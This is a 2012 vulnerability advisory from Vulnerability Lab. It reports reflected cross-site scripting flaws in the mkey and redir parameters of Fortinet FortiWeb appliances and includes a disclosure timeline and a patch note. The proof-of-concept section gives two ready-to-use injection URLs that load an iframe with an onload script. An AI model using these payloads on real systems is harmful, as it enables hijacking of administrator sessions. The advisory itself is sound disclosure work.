Title: ====== FortiWeb 4kC,3kC,1kC & VA - Cross Site Vulnerabilities Date: ===== 2012-12-01 References: =========== http://www.vulnerability-lab.com/get_content.php?id=702 VL-ID: ===== 702 Common Vulnerability Scoring System: ==================================== 2.1 Introduction: ============= FortiWeb web application firewalls protect, balance, and accelerate your web applications, databases, and any information exchanged between them. Whether you are protecting applications delivered over a large enterprise, service provider, or cloud-based provider network, FortiWeb appliances will reduce deployment time and simplify security management. Fortinet s FortiWebℍ has passed ICSA Web Application Firewall Certification. The latest model being tested is FortiWeb 1000C. ICSA Labs certifications are evidence of FortiWeb s commitment to uphold the industry s highest security standards. Achieving this certification ensures that FortiWebℍ customers benefit from best practices in the security industry for all their Web application needs. (Copy of the Vendor Homepage: http://www.fortinet.com/products/fortiweb/ ) Abstract: ========= The Vulnerability Laboratory Research Team discovered multiple cross site scripting vulnerabilities in Fortinets FortiWeb 4000C, 3000C/3000CFsx, 1000C, 400C & Virtual Appliance. Report-Timeline: ================ 2012-10-01: Researcher Notification & Coordination 2012-10-11: Vendor Notification 2012-10-05: Vendor Response/Feedback 2012-11-11: Vendor Fix/Patch 2012-12-01: Public or Non-Public Disclosure Status: ======== Published Affected Products: ================== Fortinet Product: FortiWeb Application Series v4000C, 3000C/3000CFsx, 1000C, 400C & Virtual Appliance Exploitation-Technique: ======================= Remote Severity: ========= Medium Details: ======== A non persistent cross site scripting vulnerability is detected in Fortinets FortiWeb 4000C, 3000C/3000CFsx, 1000C, 400C & Virtual Appliance. The vulnerability allows remote attackers to hijack website customer, moderator or admin sessions with low or medium required user inter action and without local privileged application user account. The vulnerability is located in the Regular Expression - Validation (pcre_expression/validate) module with the bound vulnerable redir and mkey parameters. Successful exploitation results in client side account steal, client side phishing & client-side appliance module context request manipulation. Vulnerable Module(s): [+] Regular Expression - Validation Module (pcre_expression/validate) Vulnerable Parameter(s): [+] redir [+] mkey Proof of Concept: ================= The client side cross site scripting vulnerability can be exploited by remote attackers without application user account and with medium required user interaction. For demonstration or reproduce ... Code Review: Regular Expression - Validation Module (mkey & redir) <tr><td> <table class="footer" cellpadding="0" cellspacing="0"> <tr><td> <input class="button" type="button" value="Return" onclick="if (window.opener) {window.close(); } else {document.location='/waf/pcre_expression/validate'}"> </td></tr> </table> </td></tr> <input type="hidden" name="mkey" size="22" maxlength="22" value="0"><[CLIENT SIDE SCRIPT CODE EXECUTION!]") <"> <input type="hidden" name="validated" value="-1"> <input type="hidden" name="redir" value="/success"> </form> </table> </td> ... or <tr><td> <table class="footer" cellpadding="0" cellspacing="0"> <tr><td> <input class="button" type="button" value="Return" onclick="if (window.opener) {window.close(); } else {document.location='/waf/pcre_expression/validate'}"> </td></tr> </table> </td></tr> <input type="hidden" name="mkey" size="22" maxlength="22" value="0"><[CLIENT SIDE SCRIPT CODE EXECUTION!]") <"> <input type="hidden" name="validated" value="-1"> <input type="hidden" name="redir" value="/success"> </form> </table> </td> PoC: https://fortiweb.127.0.0.1:1336/waf/pcre_expression/validate?redir=/success&mkey=0%22%3E%3Ciframe%20src=http://vuln-lab.com%20onload=alert%28%22VL%22%29%20%3C https://fortiweb.127.0.0.1:1336/waf/pcre_expression/validate?redir=/success%20%22%3E%3Ciframe%20src=http://vuln-lab.com%20onload=alert%28%22VL%22%29%20%3C&mkey=0 Solution: ========= The vulnerability can be patched by parsing all mkey and redir success parameter requests of the vulnerable Regular Expression - Validation module. 2012-11-11: Vendor Fix/Patch Risk: ===== The security risk of the non persistent cross site scripting vulnerabilities are estimated as low(+)|(-)medium. Credits: ======== Vulnerability Laboratory [Research Team] - Benjamin Kunz Mejri (bkm@vulnerability-lab.com) Disclaimer: =========== The information provided in this advisory is provided as it is without any warranty. Vulnerability-Lab disclaims all warranties, either expressed or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability- Lab or its suppliers are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business profits or special damages, even if Vulnerability-Lab or its suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation may not apply. We do not approve or encourage anybody to break any vendor licenses, policies, deface websites, hack into databases or trade with fraud/stolen material. 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